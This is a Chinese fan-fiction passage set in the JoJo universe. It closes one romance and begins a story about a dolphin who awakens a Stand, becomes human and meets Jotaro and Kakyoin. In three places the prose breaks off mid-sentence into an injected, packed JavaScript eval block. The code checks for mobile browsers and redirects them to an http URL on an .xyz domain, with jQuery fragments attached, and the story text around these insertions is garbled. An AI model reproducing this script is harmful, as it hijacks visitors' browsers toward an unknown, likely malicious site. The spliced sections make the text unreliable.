这几年他一直还在长高,我穿着高跟鞋,脑袋也只能靠到他胸口前的爱心尖尖下方。 有点遗憾。 但是,又觉得很高兴。 “能够遇见你真是太好了。”我说。 “我也是。”他说。 拥有一个能够去爱和期待的对象,本身也是一件令人幸福的事情。 我的男朋友是完美的。 我再次确认。 他身上有着和常人不一样的地方,但好在我们彼此都很适应对方所有非同寻常的点,能够普通而满足地一起度过日常。 这就是我想要的生活,准备行走的道路。 事到如今,我终于可以告诉每个询问我的人,我的人生到底打算要怎么度过,而我自己又是个什么样的人。 一切问题都被解决了,或许还会有新的问题,但是没关系,那些问题也会被解决的。 就这样走下去吧,我们都会越来越好的。 啊,稍微有点不想等十年那么久了……但是我的人生好像也才刚开始,一切都还说不定呢。 “如果真的能一辈子这样就好了。”我和乔鲁诺说。 “只要你想,”他说,“会的。” 过程中或许会有意外,但是相爱的人已经跨越了那么多时间空间和过去,还有什么困难能打破这一切? 奉献所有,守护骑士绝不会让坏结局发生。 …… “也不能一辈子都这样。”我突然想到,“我到现在还没看过你素颜和披头散发的样子呢!!今晚就让我看看吧!” “……那个和你一起等到十年之后吧。”乔鲁诺委婉地拒绝了。 我疑问:“结婚了才能看?” 乔鲁诺移开视线,表情微妙。 我再次确认:“真的要这样吗?这对你来说和结婚是一个等级的事情吗?” 乔鲁诺语气也很微妙。 “……坦白地说,或许要再严重一点。”他道,“至少目前我无法克服这个弱点。我不想让你看见不完美的我。” 男朋友太完美也是种烦恼。 完蛋,为了卸下他的完美面具,我真的开始提前考虑婚姻了。 狡猾的乔鲁诺,这也是他计算的一环吗?! 感觉自己真是上了贼船啊,突然理解布加拉提的担忧了。 不过,感觉很不错。 如果是乔鲁诺,被这样小小地算计一下也没关系。 因为我乐意。 总而言之,实在是感谢这段相遇。 感谢乔鲁诺,也感谢我自己。人生能够坚持走到今天这一步,真是太棒了。 一切都是最好的安排。 ——END—— 34.01 希音正在紧张地等待。 她是一只生活在纪伊半岛海湾附近的海豚。 半个月前,因为贪玩,希音落了单,并且不小心被人类的渔网缠住了尾鳍。 尼龙线勒进了她的皮肤,伤口发炎肿胀,希音很着急,然而海豚的形态使得她难以自救。 还好,就在这个时候,有一艘人类的小船接近了,并且船上的人类联系了县里的海豚救助中心,剪断了希音身上的渔网,又将她安置进了海洋中心的康复池中。 希音获救了。 一个星期后,她的伤口痊愈,人类将她放回了大海。 “我想去陆地上。”回到族群后,希音对自己的姐姐提出了请求,“我听说海莲娜婶婶有一个神奇的玩具,可以让海豚拥有特别的能力,有些海豚得到这些能力后就能够和人类成为同伴……我可以去找海莲娜婶婶吗?” 姐姐有点为难:“人类太危险了。” 但是,她又补充道:“不过,让你去见海莲娜婶婶的话,这点倒是完全没问题。” 然后,姐姐让希音放宽心等一等,等到天色完全暗下来,她就带着希音游到了一座小岛附近,据说这座岛的主人就是海莲娜婶婶。 海豚之间有自己特殊的交流方式,希音和姐姐在小岛外发出了一连串的呼唤声,很快,小岛上传出了回复。 海莲娜婶婶竟然不在水域中,而是在岛上。 “这是我获得的【替身能力】的功劳,”出来和希音姐妹见面后,海莲娜婶婶这么解释道,“我的【替身】让我获得了和不同物种交流的能力,无论是谁,我都能听得懂他的语言,和他交谈,包括人类。所以人类专门为我找了助手,满足我的需求。” 她解释这一段话的时候,用的是海豚音。 而她话语中提到的那个“人类助手”,正靠在装着海莲娜的移动大水箱旁边打哈欠,根本没听懂这几只海豚都在说什么。 但是,只要海莲娜愿意,【人类助手】就能听得懂海莲娜的指令—— 就像她刚才推着海莲娜从岛里出来一样。 “你也想获得【替身能力】是吗,希音?但是这个能力不是谁都能拥有的,你可能会付出生命的代价。”海莲娜婶婶给出了忠告。 希音不在乎,她欢快地抬起脑袋,对海莲娜回答道: “我相信我会成功的,海莲娜婶婶,我有这个预感!” 海豚们都是一群乐天派。 拗不过希音,海莲娜让希音过两天再来,她说自己要做一些准备。 两天后,就在同一个地方,她们又见面了,海莲娜指挥着自己的【人类助手】取出来一只箭头,将箭头扎到了希音身上。 “你要也尝试一下吗?”然后海莲娜问希音的姐姐。 姐姐又犹豫了一下。 “这真的好玩吗?”姐姐问海莲娜,也问希音。 海莲娜说:“如果能获得【替身】,确实很好玩,但是说实话,大部分生物,包括人类,都被在被箭扎了以后很快死去,像我这样平安活下来的是少数。” 姐姐于是打消了扎箭的念头。 应希音的要求,她把希音丢在这里,和海莲娜做伴,自己回去了。 “如果你死了,”姐姐说,“我是不会给你收尸的。” 和人类不一样,海洋里没有埋葬尸骨的说法。 所有的生物都是从海里来,回海里去。 “如果我能活下来,”而希音说,“我暂时也不会回去。” 于是她们就这么告别了,双方都知道,这一别,大概很久都不会再见了。 “我会想你的。”分别前,希音主动贴了贴姐姐的吻部,如此向她承诺道。 “希望如此。”话虽然这么说了,但姐姐对三秒钟记忆的希音不抱任何希望。 希音傻笑了一下。 虽然海豚看着好像无时无刻不在微笑,但希音的确用自己的方式真正的笑了一下。 “我在这里等着吧,”而海莲娜婶婶说,“如果你成功觉醒了能力,我还可以帮助指导。” ……时间过得很快,大概半个晚上以后,希音感受到身体出现了某种怪异的变化。 好像有什么东西从她的精神力中剥离开来、又游走在她每一寸的神经里。 平时总是让海豚感到舒适的海水也变得有些冰凉,希音冷得哆嗦,过了一会儿,海水的温度又滚烫起来,海浪拍打在身上的感觉也很刺痛。 完了,她不会真的要死了吧? 希音后知后觉感到害怕。 然而这害怕没能持续多久,海水的温度和触感都很快恢复了正常。 希音看到一个迷你版的、略有些奇怪的圆润【海豚】,出现在了自己眼前。 “替身!”海莲娜婶婶激动极了,“你觉醒了替身!……你的替身能力是什么?” 能力? 希音懵懵地探索了一下。 她的脑子其实根本没怎么转,只是想着如果自己能有一个方便和可爱的小人类们玩耍的能力就好了…… 然后,她从海豚变成了人。 就这样,希音蛄蛹着,在海莲娜婶婶和【人类助手】的双重尖叫声中,蛄蛹上了海滩。 她完全搞不懂人类是怎么用四肢发力活动的! 海啊!她只是想要找人类玩游戏,不是想要变成人类啊!人类的身体也太难用了吧! 希音很怨念。 她也想尖叫,但人类拥有和海豚不同的发音方式和位置,希音努力了半天,只从喉咙里挤出一声“嘤”。 海莲娜婶婶精准地捕捉到了希音这一声“嘤”。 她的海豚音停止了片刻,随后更加响亮的穿透云霄: “那是什么——你刚才发出的那是什么?!你这个海豚混蛋!你竟然变成了人类!可恶,我也想变成人类!我要和你交换能力!” “哎?”希音问,“能力可以交换吗?” “那当然……不可以啊啊啊!!!可恶!你这个幸运的小东西!真是太岂有此理了!” ……就这样,希音鸡飞狗跳的“人类”生活展开了。 鉴于希音还不会走路,海莲娜婶婶的【人类助手】把希音扔进了海莲娜的水箱里,将她们俩一起运回了岛上的大别墅里。 顺带一提,这位人类助手的名字是渡边青子,她的替身能力是加强力量,这就是人类选中她来辅助海莲娜的原因。 青子甚至可以直接把水箱举过头顶,扛在肩膀上到处乱跑,多加一个希音的重量在水箱里对她来说也不是麻烦。 “我要将希音小姐的情况上报给财团!”青子这么和海莲娜道。 总是吊儿郎当的海莲娜却严肃地提出了异议: “不,在希音没能完全掌握自己的能力之前,我不希望你这么做,这样可能会给她带来危险,虽然有了人形,但本质上她还只是一只愚蠢的海豚啊!” “我不愚蠢!”希音提出抗议。 “一般海豚的智力水平只有人类的3-6岁!”海莲娜指出。 希音挺起胸膛,发出“嘿嘿嘿”的声音:“我现在是人类!” 说这话的时候,她【海豚】形状的替身正在她脑袋附近愉快地游动。 大概是看不下去希音这么高兴,替身贱兮兮地抬起尾巴,“PIA叽”,往希音的脸上拍了一下。 希音被拍得懵了一下,傻愣愣地转过头寻找自己的【海豚替身】——白银旋律。 它的外观大致有着海豚的轮廓,只是浑身雪白,泛着珍珠一样的光泽,双眼是狭长型的冰蓝色,腹部覆盖着一层雪白绒毛,浑身分布着月牙形状的浅蓝色印记,尾巴尖镶嵌着透明晶体,尾巴最末端是半透明的,不规则的波浪形状。 它大概只有人形希音的一个巴掌大,尾巴一扇就是希音半张脸。 “——!!!” 竟然被自己的替身打脸了,希音后知后觉地发出嗡鸣! 她气得伸手去抓【白银旋律】,人类的身体对她来说太过陌生,她完全不懂操控技巧,白银旋律灵活地在她的动作间游走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340225|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就和逗猫棒一样逗弄着希音玩。 事实上,不只是身体操作不流畅,就连喉咙发声位置,希音也完全掌控不来。 青子根本听不懂她一直“阿巴阿巴”的在说些什么。 希音之所以能够和海莲娜交流,完全是因为海莲娜的替身能力,就是听懂所有生物的“声音”。 换句话来说,现在的希音,看起来真的不太聪明。 指着这样的希音,海莲娜崩溃地和青子道: “这样一只智障海豚,根本没有上报的必要吧?!反而会把她置于危险之中啊?看在咱俩相处那么多年的份上,你就当原来的希音死在了替身觉醒的路上,别把这个蠢货的事情往外说了吧?我怀疑她被人发现特殊能力之后活不过半集啊!” 青子:“……虽然很想反驳你,但目前来说,好像确实要先观察一下。” 希音就这么被认证成了傻子,接下来被海莲娜和青子轮番上阵魔鬼教学。 海莲娜使劲全身力气教希音学会说人类的话语,而青子每天网购空运不重样的康复运动设备辅助希音掌控四肢。 三个月后,希音终于看上去接近一个正常人类了。 好消息是,她被获准和青子一起暂时离岛,去外面看看人类的生活。 坏消息是,海莲娜的寿命即将到头,青子离岛是为了海莲娜的欢送仪式去做准备的。 一只普通海豚的寿命是20-50年,而海莲娜已经活了70年。 希音虽然在亲缘关系上是她的侄女,但她的父亲本来就出生得比海莲娜婶婶晚很多,希音自己又是父亲的晚来女,所以她们之间有着半个多世纪的年龄差距。 “没想到我刚来,海莲娜婶婶就要圆寂了。”希音对此表示哀悼。 “【圆寂】不是这么用的。”青子捂额头。 希音震撼,瞪圆了自己本来就圆溜溜的眼睛。 她的人形和海豚一样圆滚滚的,娃娃脸上配着一张看上去总是在微笑的嘴巴,看上去十分可爱。 “不是吗?”她发出了真挚的疑问,“可是海莲娜婶婶说,厉害的人类去世的时候就叫【圆寂】……啊?难不成我记错了,其实应该说是【驾崩】才对?” 青子:“……海莲娜是语言高手,她绝对不是这么教你的。” “就是就是!”希音不服,挥舞起了自己的小拳头,和海豚时期一样,她总是喜欢用身体动作辅助语言的表达。 青子一掌裹住她的拳头,希音挣扎,挣扎失败,大力士青子实在可怕。 而且希音明明海豚形态身长三点五米,人形却只有微不足道的一米六,青子身高一米七,希音要跳起来才能撞到青子的鼻子—— 而她又总是根本跳不起来,在强大的青子面前完全不具备任何杀伤力。 “海莲娜走之后,你就落户我家,跟我姓吧……我不会把你的情况上报给资助海莲娜的SPW财团,你需要一个人类世界的监护人,由我来做你的保护者。” 然后,握着希音的拳头,青子这么对希音说道。 希音不太明白什么是监护人,但是她听出了青子的友好。 “哦!太棒了!”希音高兴地收回了自己的拳头,一个跳跃飞扑到青子身上,吧唧一口亲在青子的脸颊上。 “入户是要结婚的意思吗?虽然雌性之间生不出孩子,但是我可以和青子结婚,因为青子长得好看!”她欢天喜地地道。 青子:“……死海豚,从我身上下去!早就听说你们是海中色魔,没想到是真的?” “什么色魔?”希音不解地眨巴着水润润的大眼睛,“我只是喜欢可爱的小人类,我不可以和人类结婚吗?可是我现在也是人类啊?” ……和智障海豚说不通。 青子绝望地一巴掌轻轻呼到希音脸上,把她的脸推开,然后掏出自己的手机,开始联系财团给她提供的一个海洋学者的联系方式。 对方会负责和她一起布置海莲娜的欢送会。 “喂,请问是空条先生吗?”青子问。 35.02 空条承太郎,是一个SPW集团中少数中高层人员才熟悉的名字,他拥有仅次于集团所有者的最高权限,可以轻松调动许多部门为他工作。 渡边青子对他了解不多,她自加入SPW集团以来就在为海莲娜提供服务,鲜少和总部其他人员联系。 但是她多多少少听说过,空条承太郎是一名海洋学者,对海洋生物很有研究。 据说当初海莲娜的特殊情况就是他发现上报的。 如果不是有别的重要事项需要处理,那么担任海莲娜和人类联系中介的人员很可能就是空条承太郎、而不是她。 这种微妙的“竞争关系”,让渡边青子情不自禁打起了十二万分的警惕,去面对这个男人。 同时,她不忘警告希音。 “我们之后会接触到一个很危险的男人,他很了解海洋生物,你一定要小心,不要让他看穿你的身份。” 不管怎么说,海豚变成人类这件事情还是太匪夷所思了,里面还涉及到一些高深的伦理哲学问题…… 贸然流传出去对希音来说绝对不是一件好事。 希音不太理解青子的担忧,但是青子既然这么说了,那就一定有她的道理。 所以希音很乖地点了点脑袋,眯着眼睛、弯弯嘴巴,甜甜地说了句“好~”。 她们一起到最近的机场去等候空条承太郎,对方在电话里表明自己不是一个人来的,他带了一个伙伴。 青子也表示自己身边跟着一个妹妹。 空条承太郎没有对此发表反对意见。 青子便默认他是许可自己带着希音工作了。 ……这一天,刚好是工作日,机场冷冷清清,没有多少人影。 青子在脑海中回顾了一下自己的工作计划:接空条承太郎、展示海莲娜欢送仪式购买清单、开发票填表格报销…… 呼,真是有够多活要干的。 捋顺了自己的工作安排,青子才转过头,观察身边的希音在干什么。 然后就瞳孔震惊地发现,希音正在360°无死角地和周围一圈男女老少聊天。 “你这个背包好漂亮啊……” “哎哎?爷爷要把墨镜送给我吗?” “小朋友你是从海边刚回来?” “我是不是在上学?没有啊我不上学的。” ……好可怕的社交能力! 青子惊呆了。 她眼睁睁看着希音就这么将座位上所有人都搭讪了一遍,上下嘴皮子一碰就收获了一打名片和写着联系方式的便利贴,不由得开始怀疑这只海豚的替身能力是否兼具魅魔功能。 这也太BUG了! 等到希音功成身退,空条承太郎的飞机正好也在降落中。 青子注意到,希音手上不仅有名片,还多了两杯饮料和一只一看就价格非凡的奢侈手表。 ……连名牌手表都当成礼物收下了吗? 是魅魔技能吧?肯定是有技能吧? 她到底是怎么做到的? 青子有点开始怀疑人生了。 她很想现在就抓着希音搞懂这一切,但是已经有旅客从飞机上下来了,为了工作,青子只好先按下疑惑,让希音跟着自己,别走丢了,等有机会再问话。 但是,就在她抬眼张望着飞机方向的时候,手腕上突然一沉—— 希音把那只名牌表带到了她的手上。 “?”青子疑惑了,转眼看向希音。 希音笑眯眯地仰起脸——她总是笑眯眯的。 “有个老奶奶说我让她觉得很幸福,所以她把这个送给我,青子也让我很幸福,所以我也给青子。” 青子心下一动,但很快,她想起希音只是一只笨蛋海豚,于是重新装上心防,换上严肃脸,冷酷问道: “你知道幸福是什么意思吗?你就说幸福?” “幸福就是看到青子。”希音再次飞扑上来,挂到青子身上。 青子很感动。 “啊啊啊——”希音突然激动起来,指着某个方向,嘴巴里道,“幸福、幸福……那样的人类也会让我很幸福。” 青子顺着她指尖的方向看去,一下就见到了自己此次行程的目标对象,一米九几的空条承太郎。 他带着帽子,穿着风衣,体格高大,猿臂蜂腰;但长着一张清秀的面容,别的不提,光那双眼睛的下睫毛就又长又密,好看得惊人。 空条承太郎身后还跟着一个红发男人,同样相貌非凡,仪表堂堂。 “好高、红色,喜欢,”希音趴在青子脖子旁边美滋滋地道,“跟青子一样,很健康,高高的,很有劲,看到就幸福。” “……你感受到的那不是幸福,是花痴。”青子麻木了。 动物的审美如此直白,健康有力,希音钟情一切看上去健康活泼的可爱人类。 空条承太郎身后的朋友,因为有着海豚中不会出现的红色外表,又格外得到希音的青睐。 工作伙伴就要来了,自己必须要保持专业形象,青子低声让希音从自己身上爬下去。 希音假装听不见。 “回去给你吃小鱼干。”青子诱惑道。 希音“哧溜”一下就放开青子落地了。 见状,青子心里不由得酸溜溜的。 ……哼,说什么自己会让她幸福,其实还是小鱼干在她心里最重要吧? 算了,以后再和她算账。 稍微清醒了一下神智,青子迎上前去,对着空条承太郎伸出手: “空条先生您好,我是来迎接您的渡边青子,我们刚才通过电话。……我旁边这个是我的妹妹,渡边希音。” 空条承太郎简单回握了一下青子的手,微微点头,接着指向身后的红发友人: “花京院典明,我的朋友。” 几人彼此认识过后,就一起上了青子的车。 空条承太郎坐副驾,希音和花京院典明一起坐在后排。 青子一边祈祷着希音不要露出异常,一边开车。 “海莲娜当时和你说她马上就要离开了的时候,有没有预计时间?她还能活多久?”空条承太郎主动挑起话题问道。 “两个月吧。”青子回答,“她希望自己能在死前尽早安排仪式,让她有充分的时间独自在故乡度过最后的时光。” “好,我们一起完成她的愿望。”空条承太郎说。 他们在谈相当正式的话题,这让希音感到无聊。 她打了个哈欠,海豚替身从身后浮现,具象化在车里面,不安分地四处游动,从后排游到了驾驶位,短暂地停留了在空条承太郎眼前。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16354783|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 空条承太郎注意到这个特别的替身,眼神微动。 他转过脸看向希音,嘴巴上却在问青子: “这是你妹妹的替身?为什么是海豚?是跟海有关的能力?” 完了,希音被关注了! 青子有点慌。 “呃、不用在意,”她努力想要转移空条承太郎的注意力,“大家的替身不都是各有各的特点吗?好了希音,快把你的替身收回去,它挡住空条先生的视野了。” “白银旋律说它很无聊,想看风景。”希音为替身发言。 “太失礼了!”青子指出。 希音委屈:“……我也觉得,但是白银旋律不听我的呀,你知道的,它很调皮。” 为了证明自己不是故意在承太郎附近放出替身的,希音当着几人的面呼唤了几声“白银旋律”。 海豚形状的替身果然一动不动,窝在了空条承太郎的帽子上就不愿意改变位置了。 希音有点烦。 青子感觉心要从胸膛里跳出来了,空条承太郎看上去可不像是与人为善的老好人性格,他给人的感觉气势汹汹,像犯罪预备分子。 然而,出乎意料,这位长得不好惹的先生,却没有对【白银旋律】的调皮发表任何意见。 他甚至还主动把帽子取了下来,放在双腿之上,护在怀中,避免它因路途颠簸掉下去。 但他的善意被误解了。 突然改变位置,受到惊吓的【白银旋律】一个翻滚跳跃,啪叽一下把自己撞到了车窗玻璃上。 替身的伤害会同步到替身使者身上,希音脑瓜子立即“嗡嗡”作响,眼前冒出一圈圈金星。 【白银旋律】把自己一头捶撞晕了,duang的一下弹回了空条承太郎的帽子里。 希音也晕了,一脑袋砸在花京院典明温热的大腿上。 青子:“……哈哈,不好意思啊,花京院先生,还有空条先生也是。希音不是故意的。你们把她摆正系上安全带,让她自己坐稳就好了。” 然而没有人听她的。 空条承太郎依旧捧着装着【白银旋律】的帽子,花京院典明依旧任由希音枕着自己的大腿。 青子眼尖地发现,空条承太郎甚至还伸出手指,用指腹摩挲了一下海豚替身长着白色绒毛的腹部。 “呜……”昏迷中的希音皱了皱眉头,蜷缩起了身子,险些从车座上滚落下去。 花京院典明伸手捞住了她。 “这孩子的脸……”青子听见他感慨地评价道,“好小啊。” 这不对吧?对着一个刚见面的小女生说什么呢?! 青子不由得神情扭曲了一瞬。 反应过来自己说话不够妥当,花京院典明赶紧对着青子解释道: “抱歉,情不自禁就……因为我自己也有个妹妹,所以忍不住就多关注了一下她。” 这番话倒还算合理,青子的心安稳地回落了一些。 但是,她没有忽略,承太郎还在玩【白银旋律】,根本没停过! 戳完【白银旋律】的肚子,他又开始摸它的尾巴,感应到替身的灾难,希音在花京院典明臂弯里扑腾起来。 住手啊阿强!共感设定什么的不是让你这么玩的! 不要当着姐姐的面玩弄妹妹的替身啊! 36.03 昏迷过去的希音并不知道之后又发生了什么。 她醒过来的时候,是在小岛别墅大厅的沙发上。 红色头发的青年注意到她的苏醒,转过头来,微笑着问好:“你醒了?” 希音捂着还隐约作痛的脑袋,懵懵的…… 替身自己把自己撞晕,还连累了主人,简直是千古奇闻。 慢慢的,清醒过来,意识到自己刚才陷入昏迷以后,希音张开嘴,无声地发出尖锐爆鸣—— 昏迷! 她刚才竟然昏迷了! 海豚和一般的海洋鱼类生物不一样,它们是哺乳动物,一旦昏迷,无法及时浮出海面进行呼吸,就可能溺水身亡。 好可怕,还好自己现在是人类。 劫后余生,希音很激动。 “呜呜,”她终于有力气从喉咙里发出声音了,“我还活着,太好了。” “哈哈。” 花京院典明被眼前可爱的小妹妹幽默到了。 “有我们和青子小姐在,你就算晕过去也不会有事的……承太郎很强哦!不过自己把自己撞晕的替身,我还是第一次见呢。你的【白银旋律】好像不是很配合你。” “对吧?对吧?我也觉得!”找到了体谅自己的知音,希音双目含泪,凑到花京院典明面前—— 海豚出身的她根本不懂什么是人类社会的社交距离,花京院典明被逼近的少女稍微吓了一跳。 身后就是沙发,他无法避让,只能眼睁睁看着希音像小动物一样爬过来。 “我跟你说、我跟你说,那只海豚——简直就是族群之耻!如果真的是海豚,它一定会被集体嘲笑的!” 希音控诉起【白银旋律】来。 而另一边,花京院典明鲜少和女孩子如此近距离接触,他不由得紧张起来,努力将身子往后贴。 但希音就像一只灵巧的小猫,言语过程中,前肢在沙发上踩了两轮,最后放到了他的腿上,脑袋也不安分地乱动,在他胸前乱拱一气,头发都凌乱了不少。 花京院典明没有听清楚她都在说些什么,他强作镇定,只听清了她做完这一系列动作之后的最后一句总结: “……替身什么的,真的好奇怪啊。” “唔、嗯……”她的动作太自然了,红发青年组织不出阻止的理由。 他动了动手指,不太自在,但最终还是没有说什么,任由她靠在自己胸前,侧耳倾听心跳。 女孩子的身体真的冰冰凉凉,又和棉花一样软绵绵的。 尤其希音明显缺乏锻炼,身上没半点肌肉线条,这种和自己截然相反的触感就更明显了。 好神奇。 “多练习一下,说不定就能提高你和替身的契合度了。”花京院典明给她出主意。 “是吗?”希音终于直起身子了,她崇拜地仰脸看着面前的青年,两只淡蓝色像海洋的眼睛闪闪发光,“那你能教我吗?” 海豚之间拥有复杂的社交行为,它们会给后辈传授生存技能,类似人类的教学。 发现自己生存出了大问题,希音理所当然地向自己现在的人类同伴求助。 花京院典明思考了一下。 他的手臂因为紧张,长时间维持一个姿势,已经有点僵硬了。 趁着希音走神,他不着痕迹地把手臂收回来,尽量避免碰到她,然后才道:“可以。” 希音高兴极了,鼓掌欢呼。 她这时候才想起来青子,从花京院身上跳到地板上,连鞋子都不穿,就绕着铺满了瓷砖的别墅大厅到处乱转,一边转,一边呼喊“青子——”“青子——”。 【白银旋律】随着主人的清醒,慢慢地重新回到了主人身边,围绕在希音身边打转,像一只人类豢养的小狗。 希音拨开故意几次三番游到她面前挡路的【白银旋律】,突然觉得别墅内的空气好像变了,一抬头,恰好对上一双碧绿眼眸。 楼梯的台阶上,空条承太郎正沉默地盯着她。 他的身量太高大,又带着帽子,不做表情不说话的时候看上去阴沉沉的,很吓人。 希音一下就回想起来,当初在纪伊半岛海湾附近被人类救了的时候,她也遇到过类似的人类。 那时候自己还是海豚,没有人类丰富敏锐的视觉,主要依靠回声系统听觉判断环境。 她能“听”到,在海豚救治中心,有几个讨厌的人类不知道为什么,一直一言不发,只是就这么用“眼睛”对着自己,好像她是什么正在被观察的猎物一样。 ……好讨厌,这家伙也是,一直在瞪着自己! 希音不甘示弱地抬起脸,瞪了回去。 ——我才不要做猎物,不准看我! 她努力呲牙撅嘴,故意摆出凶神恶煞的模样,露出不好惹的姿态。 ……双方对视,空条承太郎率先移开了眼睛。 他扶了扶自己在室内也没有摘下的帽子,错开和希音对视的目光。 希音满意了,收回表情,揉了揉过分调动面部肌肉运动而酸涩的脸颊,踏着轻快的脚步,继续满屋子地寻找青子。 “青子?青子!……你在哪里呀?” 听着少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367264|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女渐渐走远的声音,空条承太郎放下扶住帽檐的手,虚虚握了握自己的一只拳头。 【白银旋律】只有希音的一个巴掌大,到了空条承太郎手中,更是只有半个手掌大。 迷你得像挂件的小海豚软嫩Q弹,一口下去估计都不塞牙,还劲道爽滑。 看上去很脆弱,但是拥有自主意识。 在承太郎忍不住逗弄了两下以后,【白银旋律】爆发出了惊人的破坏力,使出一招可以称之为“音爆”的招数,利用尖锐的音波一口气炸碎了几人正在乘坐的小轿车。 玻璃碎裂,四散飞溅,油箱“轰”地一下燃起火花。 花京院果断召唤出自己的替身,试图为自己和怀中少女挡住碎片,承太郎也召唤出【白金之星】,暂停了时间,将青子、花京院和希音分别救出,撤离至安全区。 他的身体强悍,音爆虽然直接在他手上炸开,却未对他造成伤害。 坐在驾驶位上被牵连的青子就要弱一些,但好在承太郎当机立断用“时停”削弱了大部分伤害,青子只是被余波影响,大脑平衡功能暂时受到影响,头晕想吐。 ……因为这次的意外可以说是自己闯出来的祸,所以在刚才希音瞪他的时候,承太郎稍微有点心虚地移开了脸。 他不知道花京院典明有没有和对方说明情况,但事后回想起来,音爆事件暂且不提,只说替身…… 他贸然抓着非敌对状态小朋友的替身,抓捏揉搓,确实做得不太好。 不过那只叫“白银旋律”的海豚,真的很可爱…… 想到这里,空条承太郎又压了压自己的帽檐。 他决定,回去以后就给自己定制一款新帽子,上面可以加上海豚。 就在他思考的短短几秒之间,希音又回来了。 她没能找到青子,肚子又饿了。 “典明、典明,”承太郎站在楼梯台阶上,听着这个可爱小女孩大声说着,毫不避讳地直接亲昵称呼刚认识的异性名字,“我饿了,你会做饭吗?” 她就这么越过了自己,把自己当成空气,小跑着扑到花京院典明面前,抱起沙发上的抱枕。 她爬上沙发,坐到花京院身边,把脸蛋埋进他的手臂里,贴蹭着撒娇: “我们一起去找东西吃吧,我喜欢小鱼干,你知道哪里有小鱼干吗?我想吃——” 意识到希音和花京院典明的关系突飞猛进,被排除在外的承太郎陷入了疑惑:“?” 都是坐在一辆车上、都是今天刚认识的,为什么他没有被邀请? 他也可以吃小鱼干。